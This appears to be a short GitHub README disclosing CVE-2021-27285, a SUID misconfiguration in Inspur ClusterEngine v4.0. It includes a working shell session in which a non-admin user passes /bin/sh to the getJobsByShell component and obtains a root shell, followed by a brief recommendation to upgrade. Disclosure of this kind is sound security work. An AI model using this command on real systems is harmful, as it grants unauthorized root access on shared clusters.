fjh1997/cve-2021-27285Proof-of-concept exploit for Inspur ClusterEngine SUID misconfiguration (CVE-2021-27285) enabling non-admin users to escalate privileges to root via the getJobsByShell component.
The Inspur ClusterEngine cluster management platform is a job management software specifically designed for Inspur TianSuo series HPC products. Inspur ClusterEngine has an improper SUID configuration issue, which allows non-administrative users to escalate privileges through certain components and obtain root access.
Inspur ClusterEngine v4.0 has an improper SUID configuration issue with the component "/opt/tsce4/torque6/bin/getJobsByShell", allowing non-administrative users to escalate privileges and gain root access via the SUID mechanism.
The privilege escalation process is as follows:
[inspur@mu01 ~]$ whoami
inspur
[inspur@mu01 ~]$ /opt/tsce4/torque6/bin/getJobsByShell /bin/sh
sh-4.2# whoami
root
sh-4.2#
Remediation recommendation: Upgrade the relevant components.